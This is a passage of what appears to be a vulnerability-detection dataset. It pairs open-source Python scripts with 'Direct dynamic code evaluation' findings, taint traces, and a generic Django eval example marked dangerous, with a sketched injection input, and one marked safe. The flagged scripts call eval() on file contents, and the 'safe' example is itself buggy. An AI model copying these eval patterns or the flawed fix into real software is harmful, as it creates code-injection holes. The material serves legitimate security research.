len(shards_list)\n return total_size, num_shards\n\n\ndef get_imagenet(args, preprocess_fns, split):\n assert split in [\"train\", \"val\", \"v2\"]\n is_train = split == \"train\"\n preprocess_train, preprocess_val = preprocess_fns\n\n if split == \"v2\":\n from imagenetv2_pytorch import ImageNetV2Dataset\n dataset = ImageNetV2Dataset(location=args.imagenet_v2, transform=preprocess_val)\n else:\n if is_train:\n data_path = args.imagenet_train\n preprocess_fn = preprocess_train\n else:\n data_path = args.imagenet_val\n preprocess_fn = preprocess_val\n assert data_path\n\n dataset = datasets.ImageFolder(data_path, transform=preprocess_fn)\n\n if is_train:\n idxs = np.zeros(len(dataset.targets))\n target_array = np.array(dataset.targets)\n k = 50\n for c in range(1000):\n m = target_array == c\n n = len(idxs[m])\n arr = np.zeros(n)\n arr[:k] = 1\n np.random.shuffle(arr)\n idxs[m] = arr\n\n idxs = idxs.astype('int')\n sampler = SubsetRandomSampler(np.where(idxs)[0])\n else:\n sampler = None\n\n dataloader = torch.utils.data.DataLoader(\n dataset,\n batch_size=args.batch_size,\n num_workers=args.workers,\n sampler=sampler,\n )\n\n return DataInfo(dataloader, sampler)\n\n\ndef count_samples(dataloader):\n os.environ[\"WDS_EPOCH\"] = \"0\"\n n_elements, n_batches = 0, 0\n for images, texts in dataloader:\n n_batches += 1\n n_elements += len(images)\n assert len(images) == len(texts)\n return n_elements, n_batches\n\n\ndef get_csv_dataset(args, preprocess_fn_img, preprocess_fn_text, preprocess_fn_bbox, is_train):\n input_filename = args.train_data if is_train else args.val_data\n assert input_filename\n dataset = CsvDataset(\n input_filename,\n preprocess_fn_img,\n preprocess_fn_text,\n preprocess_fn_bbox,\n img_key=args.csv_img_key,\n caption_key=args.csv_caption_key,\n labels_key=args.csv_label_key,\n bboxes_key=args.csv_bbox_key,\n sep=args.csv_separator,\n use_de_tokenizer=args.use_de_tokenizer,\n DE_model=args.new_model)\n num_samples = len(dataset)\n sampler = DistributedSampler(dataset) if args.distributed and is_train else None\n shuffle = is_train and sampler is None\n\n dataloader = DataLoader(\n dataset,\n batch_size=args.batch_size,\n shuffle=shuffle,\n num_workers=args.workers,\n pin_memory=True,\n sampler=sampler,\n drop_last=True,\n )\n dataloader.num_samples = num_samples\n dataloader.num_batches = len(dataloader)\n\n return DataInfo(dataloader, sampler)\n\n\ndef get_dataset_fn(data_path, dataset_type):\n if dataset_type == \"csv\":\n return get_csv_dataset\n elif dataset_type == \"auto\":\n ext = data_path.split('.')[-1]\n if ext in ['csv', 'tsv']:\n return get_csv_dataset\n else:\n raise ValueError(\n f\"Tried to figure out dataset type, but failed for extention {ext}.\")\n else:\n raise ValueError(f\"Unsupported dataset type: {dataset_type}\")\n\n\ndef get_data(args, preprocess_fns):\n preprocess_train_img, preprocess_val_img, preprocess_train_text, preprocess_val_text, preprocess_train_bbox, preprocess_val_bbox = preprocess_fns\n data = {}\n\n if args.train_data:\n data[\"train\"] = get_dataset_fn(args.train_data, args.dataset_type)(\n args, preprocess_train_img, preprocess_train_text, preprocess_train_bbox, is_train=True)\n if args.val_data:\n data[\"val\"] = get_dataset_fn(args.val_data, args.dataset_type)(\n args, preprocess_val_img, preprocess_val_text, preprocess_val_bbox, is_train=False)\n\n if args.imagenet_val is not None:\n data[\"imagenet-val\"] = get_imagenet(args, preprocess_fns, \"val\")\n if args.imagenet_v2 is not None:\n data[\"imagenet-v2\"] = get_imagenet(args, preprocess_fns, \"v2\")\n\n return data\n\n\ndef _clip(box):\n new_box = (max(min(int(round(int(round(box[0])))), 512), 0),\n max(min(int(round(int(round(box[1])))), 512), 0))\n return new_box\n\n\ndef stretch(bbox, factor=.2):\n # Arguments:\n bbox2 = []\n for dim in ((bbox[0], bbox[2]), (bbox[1], bbox[3])):\n cur_min, cur_max = dim\n rnd_min, rnd_max = _clip((cur_min - np.random.chisquare(df=3) / 8 * cur_min,\n cur_max + np.random.chisquare(df=3) / 8 * (512 - cur_max)))\n bbox2.append((rnd_min, rnd_max))\n return (bbox2[0][0], bbox2[1][0], bbox2[0][1], bbox2[1][1])\n\n\ndef crop_show_augment(image, labels, bboxes):\n # show the diseased areas based on bounding boxes\n tmp = np.zeros((512, 512), dtype=np.uint8)\n if labels[0] == 1:\n bboxes = random.sample(range(48, 464), 2)\n bboxes.append(random.randint(bboxes[0], 464))\n bboxes.append(random.randint(bboxes[1], 464))\n bboxes = [bboxes]\n for b in bboxes:\n b = stretch(b)\n tmp[b[1]:b[3], b[0]:b[2]] = np.asarray(image)[b[1]:b[3], b[0]:b[2]]\n return Image.fromarray(tmp)", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 130, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 130, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 130, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "86a57ca524638cbae381ba0cc0bb17c44b476ff31dae0f10bd1c11e5529ffa6e", "license": {"spdx": ["Apache-2.0"], "repo": "Meso272/PyTorch-VAE", "path": "do_aramco_sz.py", "repo_head_hexsha": "b1f80082a92c706969a63162ae083b9f7d15d9aa", "stack_hexsha": "ff6fcc0a58ed321ca99604158b2cf643d6bc1d63", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 31, "entireCode": "import os\nimport numpy as np \n\ndatafolder=\"/home/jliu447/lossycompression/aramco\"\n\nebs=[i*1e-4 for i in range(1,10)]+[i*1e-3 for i in range(1,10)]+[i*1e-2 for i in range(1,11)]\n\ncr=np.zeros((29,51),dtype=np.float32)\npsnr=np.zeros((29,51),dtype=np.float32)\nfilelist=os.listdir(datafolder)\nfilelist=[x for x in filelist if x.split('.')[-1]=='f32']\nfilelist=sorted(filelist)\nfor i,eb in enumerate(ebs):\n cr[i+1][0]=eb\n psnr[i+1][0]=eb\n for j in range(1510,1601,10):\n y_index=(j-1510)//10+1\n if j==1600:\n j=1599\n cr[0][y_index]=j\n psnr[0][y_index]=j\n filename=\"aramco-snapshot-%s.f32\" % str(j)\n filepath=os.path.join(datafolder,filename)\n comm=\"sz -z -f -i %s -M REL -R %f -3 235 449 449\" % (filepath,eb)\n os.system(comm)\n szpath=filepath+\".sz\"\n comm=\"sz -x -f -i %s -s %s -3 235 449 449 -a>temp.txt\" % (filepath,szpath)\n os.system(comm)\n with open(\"temp.txt\",\"r\") as f:\n lines=f.read().splitlines()\n p=eval(lines[4].split(',')[0].split('=')[1])\n \n r=eval(lines[7].split('=')[1])\n \n cr[i+1][y_index]=r\n psnr[i+1][y_index]=p\n\n comm=\"rm -f %s\" % szpath\n os.system(comm)\n comm=\"rm -f %s\" % szpath+\".out\"\n os.system(comm)\n os.system(\"rm -f temp.txt\")\n\n\nnp.savetxt(\"sz_aramco_cr.txt\",cr,delimiter='\\t')\nnp.savetxt(\"sz_aramco_psnr.txt\",psnr,delimiter='\\t')", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "splitlines"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "lineslines[4]"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "split"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "split[0]"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "split[1]"}}, {"lineNo": 31, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "c427da7b9132ad38cd3aa3e418515883c38efba4c4c3511cb84c260080942c96", "license": {"spdx": ["MIT"], "repo": "baigal628/CHIPS", "path": "modules/scripts/ceas_getMetaStats.py", "repo_head_hexsha": "fce7e07af6975e924da78b45fd163d30643fb5e7", "stack_hexsha": "85488ed0b60befa1b705284a61ff04bad970a5d8", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 34, "entireCode": "#!/usr/bin/env python\n\"\"\"Script to collect the peak distribution stats\nOutputs: \nRun,Total,Promoter,Exon,Intron,Intergenic\n\"\"\"\n\nimport os\nimport sys\nfrom optparse import OptionParser\n\ndef main():\n usage = \"USAGE: %prog -f [FILE_1] -f [FILE_2] ...-f [FILE_N] -o [output]\"\n optparser = OptionParser(usage=usage)\n optparser.add_option(\"-f\", \"--files\", action=\"append\", help=\"list of _sorted_peaks.narrowPeak files\")\n optparser.add_option(\"-o\", \"--output\", help=\"output file\")\n\n (options, args) = optparser.parse_args(sys.argv)\n\n if not options.files or not options.output:\n optparser.print_help()\n sys.exit(-1)\n\n out = open(options.output,\"w\")\n out.write(\"%s\\n\" % \",\".join([\"Run\",\"Total\",\"Promoter\",\"Exon\",\"Intron\",\"Intergenic\"]))\n\n for f in options.files:\n #TRY to infer the RUN NAMES\n runID = \".\".join(f.strip().split(\"/\")[-1].split('.')[:-1])\n if runID.endswith('_summary'):\n runID = runID.replace(\"_summary\",\"\")\n\n f = open(f)\n #NOTE: these files are python dictionaries\n tmp = eval(f.readline().strip())\n prom = int(tmp['Promoter'])\n exon = int(tmp['Exon'])\n intron = int(tmp['Intron'])\n intergen = int(tmp['Intergenic'])\n tot = sum([prom,exon,intron,intergen])\n\n #convert to %\n\n out.write(\"%s\\n\" % \",\".join([runID, str(tot), str(prom), str(exon),\\\n str(intron), str(intergen)]))\n f.close()\n out.close()\n\nif __name__=='__main__':\n main()\n\n", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 32, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "readline"}}, {"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "strip"}}, {"lineNo": 34, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "b1024b792d40483d9220283e659814589d287d26d639dd4ca3e92936f0ecc236", "license": {"spdx": ["MIT"], "repo": "mikkio/scoring", "path": "src/scoring.py", "repo_head_hexsha": "fbb90ff8aa8e0d38baa7805bb6da647e1b3e0718", "stack_hexsha": "feedcfb42d2840a694d3b0d48761581a39877e26", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 509, "entireCode": "import numpy as np\nimport pandas as pd\nimport sys\nimport re\n\n# question type definition\nS = 0 # [S, col, corr [,rate]]\nMS = 1 # [MS, [cols,..], [corr,..] [,rate]]\nNum = 2 # [Num, [cols,..], [corr,..] [,rate]]\nSS = 3 # [SS, [start,end], [corr,...] [,rate]]\n\n# the list of question type and reference\n# [type, column, answer[, num_candidate]]\nQuestionReferences = None\n\ndef get_num_squestions(qref):\n numq = 0\n for q in qref:\n if q[0] == MS:\n numq += len(q[1])\n elif q[0] == SS:\n numq += q[1][1]-q[1][0]+1\n else: numq += 1\n return numq\n\ndef ascoringS(answer, q):\n if answer[q[1]] == q[2]:\n return 1\n else:\n return 0\n\ndef ascoringMS(answer, columns, i, ref):\n ans = answer[columns]\n if ref[i] in ans:\n return 1\n else:\n return 0\n\ndef ascoringSS(answer, i, columns, ref):\n ans = answer[columns[0]+i]\n if ans == ref[i]:\n return 1\n else:\n return 0\n\ndef ascoringNum(answer, columns, ref):\n for i,p in enumerate(columns):\n if answer[p] != ref[i]:\n return 0\n return 1\n\ndef ascoring(df, q):\n if q[0] == S:\n return df.apply(ascoringS, axis=1, raw=True, args=(q,))\n elif q[0] == MS:\n res = None \n for i in range(len(q[2])):\n rr = df.apply(ascoringMS, axis=1, raw=True, args=(q[1], i,q[2]))\n if res is None:\n res = rr\n else:\n res = pd.concat([res, rr], axis=1)\n return res\n elif q[0] == Num:\n return df.apply(ascoringNum, axis=1, raw=True, args=(q[1], q[2]))\n elif q[0] == SS:\n res = None\n for i in range(q[1][1]-q[1][0]+1):\n rr = df.apply(ascoringSS, axis=1, raw=True, args=(i, q[1], q[2]))\n if res is None:\n res = rr\n else:\n res = pd.concat([res, rr], axis=1)\n return res\n else:\n print(f\"ERROR: Undefined question type: {q[0]}\")\n exit()\n\ndef get_maxcolms(qref):\n maxcol = 0\n for q in qref:\n if q[0] == S:\n if maxcol < q[1]: maxcol = q[1]\n else:\n if maxcol < max(q[1]): maxcol = max(q[1])\n return maxcol\n\ndef get_sq2p(qref):\n num_squestions = get_num_squestions(qref)\n sq2p = np.zeros(num_squestions, dtype=np.int)\n numq = 0\n numsq = 0\n for q in qref:\n if q[0] == MS:\n for i in q[1]:\n sq2p[numsq] = numq\n numsq += 1\n elif q[0] == SS:\n for i in range(q[1][1]-q[1][0]+1):\n sq2p[numsq] = numq\n numsq += 1\n else:\n sq2p[numsq] = numq\n numsq += 1\n numq += 1\n return sq2p\n\ndef correctRate(scorelist_v):\n return sum(scorelist_v) / len(scorelist_v)\n\ndef print_crate(marubatu, points_alloc):\n print(\"====================================\", file=sys.stderr)\n print(\"Correct rate for each small question\", file=sys.stderr)\n print(\" and allocation of points\", file=sys.stderr)\n print(\" No: rate, points, q_type\", file=sys.stderr)\n print(\"------------------------------------\", file=sys.stderr)\n crate = marubatu.iloc[:,1:].apply(correctRate, raw=True)\n sq2p = get_sq2p(QuestionReferences)\n for i,rate in enumerate(crate):\n q = QuestionReferences[sq2p[i]]\n if q[0] == S: kind = f' S[{q[1]}]'\n elif q[0] == MS: kind = f' MS{q[1]}'\n elif q[0] == SS: kind = f' SS{q[1]}'\n else: kind = f'Num{q[1]}'\n print(f\"{i+1:3d}:{rate*100.0:3.0f}%, {points_alloc[i]:2}, {kind:}\", file=sys.stderr)\n\ndef totalscore(scorelist, points_alloc):\n if len(scorelist) != len(points_alloc)+1:\n print(\"ERROR: in totalscore()\", file=sys.stderr)\n print(scorelist, file=sys.stderr)\n print(points_alloc, file=sys.stderr)\n exit()\n return sum(scorelist[1:] * points_alloc)\n# return sum(scorelist[1:]) * 3\n\ndef get_points_alloc(qref, desired_pscore):\n num_squestions = get_num_squestions(qref)\n points_alloc = np.zeros(num_squestions, dtype=np.int)\n num = 0\n sum_palloc = 0\n for q in qref:\n weight = 100\n if len(q) >= 4:\n weight = q[3]\n if q[0] == MS:\n inum = len(q[1])\n elif q[0] == SS:\n inum = q[1][1]-q[1][0]+1\n else:\n inum = 1\n for i in range(inum):\n points_alloc[num] = weight\n sum_palloc += weight\n num += 1\n basic_unit_float = desired_pscore * 100.0 / sum_palloc\n for i in range(num_squestions):\n points_float = desired_pscore * points_alloc[i] / sum_palloc\n points = round(points_float)\n if points <= 0: points = 1\n points_alloc[i] = points\n return points_alloc, basic_unit_float\n\ndef marksheetScoring(filename, crate, desired_pscore):\n maxcolms = get_maxcolms(QuestionReferences)\n df = pd.read_csv(filename, header=None, dtype=object, skipinitialspace=True, usecols=list(range(maxcolms+1)))\n df.fillna('-1', inplace=True)\n df.replace('*', -1, inplace=True) # multi-mark col.\n df = df.astype('int')\n df[0] = df[0]+200000000\n df = df.sort_values(by=0, ascending=True)\n print(f\"Marksheet-answer: #students={df.shape[0]}, #columns={df.shape[1]}(including id-number)\", file=sys.stderr)\n marubatu = df[[0]]\n for q in QuestionReferences:\n ascore = ascoring(df, q)\n marubatu = pd.concat([marubatu, ascore], axis=1, ignore_index=True)\n marubatu.to_csv(filename+'.marubatu', index=False, header=False)\n points_alloc, basic_unit_float = get_points_alloc(QuestionReferences, desired_pscore)\n perfect_score = sum(points_alloc)\n print(f\"#Small_questions={len(points_alloc)}\", file=sys.stderr)\n print(f\"Perfect_score={perfect_score} (desired_perfect_score={desired_pscore})\", file=sys.stderr)\n basic_point_unit = round(basic_unit_float)\n basic_point_unit = basic_point_unit if basic_point_unit >= 1 else 1\n print(f\"Basic_points_unit(weight=100)={basic_point_unit}, (float_unit = {basic_unit_float:5.2f})\", file=sys.stderr)\n if crate:\n print_crate(marubatu, points_alloc)\n id_scores = pd.concat([marubatu[0], marubatu.apply(totalscore, axis=1, raw=True, args=(points_alloc,))], axis=1, ignore_index=True)\n# scores = marubatu.apply(totalscore, axis=1, raw=True, args=(points_alloc))\n# print(scores, file=sys.stderr)\n# id_scores = pd.concat([marubatu[0], scores], axis=1, ignore_index=True)\n return id_scores\n\n### for Twins upload file\n\ndef read_twins_upload_file(twinsfilename):\n twins = pd.read_csv(twinsfilename, skiprows=1, header=None, skipinitialspace=True)\n twins.columns=['科目番号', '学籍番号', '学期区分', '学期評価', '総合評価']\n twins['総合評価'].fillna('0', inplace=True)\n# scores = twins['総合評価'].astype(int, inplace=True) # inplaceは働かない\n scores = twins['総合評価'].astype(int)\n del twins['総合評価']\n twins = pd.concat([twins, scores], axis=1, ignore_index=True)\n twins.columns=['科目番号', '学籍番号', '学期区分', '学期評価', '総合評価']\n id_scores = pd.concat([twins['学籍番号'], twins['総合評価']], axis=1, ignore_index=True)\n return id_scores, twins\n\n\n### ajusting\n# adjust\ndef point_adjust(point, xp, yp, xmax):\n gradient1 = yp / xp\n gradient2 = (xmax - yp)/(xmax - xp)\n if point <= xp:\n point = gradient1 * point\n elif point <= xmax:\n point = gradient2 * point + (xmax * (1.0-gradient2))\n return point\n\ndef adjust(id_scores, params):\n xp, yp, xmax = params\n adjustfunc = lambda p: point_adjust(p, xp, yp, xmax)\n id_scores = pd.concat([id_scores[0], id_scores[1].map(adjustfunc).astype(int)], axis=1, ignore_index=True)\n return id_scores\n\n# a2djust\n\ndef get_points_abcd(params, id_scores):\n score_list = np.sort(id_scores[1])[::-1]\n num = len(score_list)\n points_list = [score_list[0]]\n cp = 0\n for p in params:\n cp += p\n points_list.append(score_list[round(num * cp / 100.0)])\n return points_list\n\ndef point_a2djust(p, p_max, p_ap, p_a, p_b, p_c):\n if p >= p_ap:\n newpoint = 90 + (10/(p_max-p_ap)) * (p-p_ap)\n elif p >= p_a:\n newpoint = 80 + (10/(p_ap-p_a)) * (p-p_a)\n elif p >= p_b:\n newpoint = 70 + (10/(p_a-p_b)) * (p-p_b)\n elif p >= p_c:\n newpoint = 60 + (10/(p_b-p_c)) * (p-p_c)\n else:\n newpoint = (60.0/p_c) * p\n return round(newpoint)\n\ndef a2djust(id_scores, params):\n# rate_ap, rate_a, rate_b, rate_c = params\n p_max, p_ap, p_a, p_b, p_c = get_points_abcd(params, id_scores)\n print(f\"A2djust: rate_ap={params[0]}, rate_a={params[1]}, rate_b={params[2]}, rate_c={params[3]}\", file=sys.stderr)\n print(f\"A2djust: p_max={p_max}, p_ap={p_ap}, p_a={p_a}, p_b={p_b}, p_c={p_c}\", file=sys.stderr)\n a2djustfunc = lambda p: point_a2djust(p, p_max, p_ap, p_a, p_b, p_c)\n new_id_scores = pd.concat([id_scores[0], id_scores[1].map(a2djustfunc).astype(int)], axis=1, ignore_index=True)\n return new_id_scores\n\n\n# interval\ndef finterval(x, minval, maxval):\n if x < minval: return minval\n elif x > maxval: return maxval\n else: return x\n\ndef interval(id_scores, minmax):\n min, max = minmax\n func = lambda x: finterval(x, min, max)\n scores = id_scores.iloc[:,1].map(func).astype(int)\n id_scores = pd.concat([id_scores[0], scores], axis=1, ignore_index=True)\n return id_scores\n\n\n#### print statistics\n\nPgakuruimei = re.compile(r'.*学群(.+学類).*')\ndef ex_gakuruimei(str):\n mobj = Pgakuruimei.match(str)\n if mobj:\n return mobj.group(1)\n if str.find('体育専門学群') != -1:\n return '体育専門学群'\n if str.find('芸術専門学群') != -1:\n return '芸術専門学群'\n return '不明学類'\n\ndef read_meibo(filename):\n meibo = pd.read_csv(filename, skiprows=4, header=None, skipinitialspace=True)\n if meibo[0][0] != 1:\n print(\"Score Error in reading meibo file.\", file=sys.stderr)\n exit()\n meibo = meibo[[3,1,2,4,5]]\n meibo.columns = ['学籍番号', '所属学類', '学年', '氏名', '氏名カナ']\n meibo['所属学類'] = meibo['所属学類'].map(ex_gakuruimei)\n return meibo\n\ndef mk_gakurui_dicset(meibo):\n dicset = {}\n for i in range(meibo.shape[0]):\n# gakuruimei = ex_gakuruimei(meibo['所属学類'][i])\n gakuruimei = meibo['所属学類'][i]\n if gakuruimei in dicset:\n dicset[gakuruimei].add(meibo['学籍番号'][i])\n else:\n dicset[gakuruimei] = set([meibo['学籍番号'][i]])\n return dicset\n\ndef gakurui_statistics(id_scores, meibofilename):\n meibo = read_meibo(meibofilename)\n gdicset = mk_gakurui_dicset(meibo)\n res = []\n for gname in gdicset:\n aset = gdicset[gname]\n selectstudents = [no in aset for no in id_scores.iloc[:,0]]\n scores = id_scores.iloc[:,1][selectstudents]\n res.append([gname, scores.describe()])\n return res\n\ndef print_stat(scores):\n print(\"==================\", file=sys.stderr)\n print(\"Score statistics\", file=sys.stderr)\n print(\"------------------\", file=sys.stderr)\n print(scores.describe(), file=sys.stderr)\n\ndef print_stat_gakurui(id_scores, meibofilename):\n gakurui_sta_list = gakurui_statistics(id_scores, meibofilename)\n print(\"==================\", file=sys.stderr)\n print(\"Gakurui statistics\", file=sys.stderr)\n print(\"------------------\", file=sys.stderr)\n notfirst = False\n for gakuruiinfo in gakurui_sta_list:\n if notfirst:\n print('-------', file=sys.stderr)\n else:\n notfirst = True\n print(gakuruiinfo[0], file=sys.stderr)\n print(gakuruiinfo[1], file=sys.stderr)\n\ndef print_abcd(scores):\n all = len(scores)\n aplus = scores[scores>=90]\n a = scores[scores<90]\n aa = a[a>=80]\n b = scores[scores<80]\n bb = b[b>=70]\n c = scores[scores<70]\n cc = c[c>=60]\n d = scores[scores<60]\n print(\"=================\", file=sys.stderr)\n print(\"ABCD distribution\", file=sys.stderr)\n print(\"-----------------\", file=sys.stderr)\n print(f\"a+ = {len(aplus)}, {len(aplus)*100/all:4.1f}%\", file=sys.stderr)\n print(f\"a = {len(aa)}, {len(aa)*100/all:4.1f}%\", file=sys.stderr)\n print(f\"b = {len(bb)}, {len(bb)*100/all:4.1f}%\", file=sys.stderr)\n print(f\"c = {len(cc)}, {len(cc)*100/all:4.1f}%\", file=sys.stderr)\n print(f\"d = {len(d)}, {len(d)*100/all:4.1f}%\", file=sys.stderr)\n\ndef print_distribution(scores):\n maxscores = max(scores)\n numinterval = maxscores // 10 + 1\n counts = np.zeros(numinterval, dtype=np.int)\n for c in scores:\n cat = c // 10\n counts[cat] += 1\n print(\"==================\", file=sys.stderr)\n print(\"Score distribution\", file=sys.stderr)\n print(\"------------------\", file=sys.stderr)\n print(\"L.score: num:\", file=sys.stderr)\n maxcount = max(counts)\n if maxcount > 80:\n unit = 80.0/maxcount\n else:\n unit = 1.0\n for i in range(numinterval):\n cat = numinterval - i - 1\n print(f\"{10*cat:5}- :{counts[cat]:4}: \", end=\"\", file=sys.stderr)\n for x in range(int(counts[cat]*unit)):\n print(\"*\", end=\"\", file=sys.stderr)\n print(\"\", file=sys.stderr)\n\n#### join\n\ndef print_only_ids(df, idlabel, ncol):\n num = 0\n for i in df[idlabel]:\n if num == 0:\n print(\" \", end=\"\", file=sys.stderr)\n elif num%ncol == 0:\n print(\", \\n \", end=\"\", file=sys.stderr)\n else:\n print(\", \", end=\"\", file=sys.stderr)\n print(f\"{i}\", end=\"\", file=sys.stderr)\n num += 1\n print(\"\", file=sys.stderr)\n\ndef join(id_scores, joinfilename, how):\n# id_scores_join = pd.read_csv(joinfilename, header=None, dtype=int, skipinitialspace=True)\n id_scores_join = pd.read_csv(joinfilename, header=None, dtype=object, skipinitialspace=True)\n id_scores_join.fillna('0', inplace=True)\n id_scores_join = id_scores_join.astype('int')\n new_id_scores = pd.merge(id_scores, id_scores_join, on=0, how=how)\n outer_id_scores = pd.merge(id_scores, id_scores_join, on=0, how='outer', indicator='from')\n nrow_left = id_scores.shape[0]\n nrow_right = id_scores_join.shape[0]\n nrow_new = new_id_scores.shape[0]\n nrow_outer = outer_id_scores.shape[0]\n print(f\"Join({how}): left({nrow_left}) + right({nrow_right}) = {how}-join({nrow_new})\", file=sys.stderr)\n left_only = outer_id_scores[outer_id_scores['from']=='left_only']\n right_only = outer_id_scores[outer_id_scores['from']=='right_only']\n print(f\" #left_only = {left_only.shape[0]}: keep left scores\", file=sys.stderr)\n if left_only.shape[0] > 0:\n print_only_ids(left_only, 0, 5)\n if how == 'left':\n print(f\" #right_only = {right_only.shape[0]}: ignored by 'left-join'\", file=sys.stderr)\n else:\n print(f\" #right_only = {right_only.shape[0]}: keep right scores\", file=sys.stderr)\n if right_only.shape[0] > 0:\n print_only_ids(right_only, 0, 5)\n scores_sum = new_id_scores.iloc[:,1:].fillna(0).apply(sum, axis=1, raw=True)\n joined_new_id_scores = pd.concat([new_id_scores.iloc[:,0], scores_sum], axis=1, ignore_index=True)\n joined_new_id_scores.fillna(0, inplace=True)\n# joined_new_id_scores.astype(int, inplace=True) # inplace optoin is ineffective\n joined_new_id_scores = joined_new_id_scores.astype(int)\n return joined_new_id_scores\n\ndef twinsjoin(twins, id_scores, joinfilename):\n del twins['総合評価']\n id_scores.columns=['学籍番号', '総合評価']\n newtwins = pd.merge(twins, id_scores, on='学籍番号', how='left')\n # check correctness\n twins_outer = pd.merge(twins, id_scores, on='学籍番号', how='outer', indicator='from')\n left_only = twins_outer[twins_outer['from']=='left_only']\n right_only = twins_outer[twins_outer['from']=='right_only']\n if left_only.shape[0] > 0 or right_only.shape[0] > 0:\n print(\"WARNING!!: occur something wrongs in 'twinsjoin'\", file=sys.stderr)\n print(\"WARNING!!: occur something wrongs in 'twinsjoin'\", file=sys.stderr)\n \"\"\"\n nrow_left = twins.shape[0]\n nrow_right = id_scores.shape[0]\n nrow_new = newtwins.shape[0]\n nrow_outer = twins_outer.shape[0]\n print(f\"Join(for Twins file): left({nrow_left}) + right({nrow_right}) = LEFT-join({nrow_new})\", 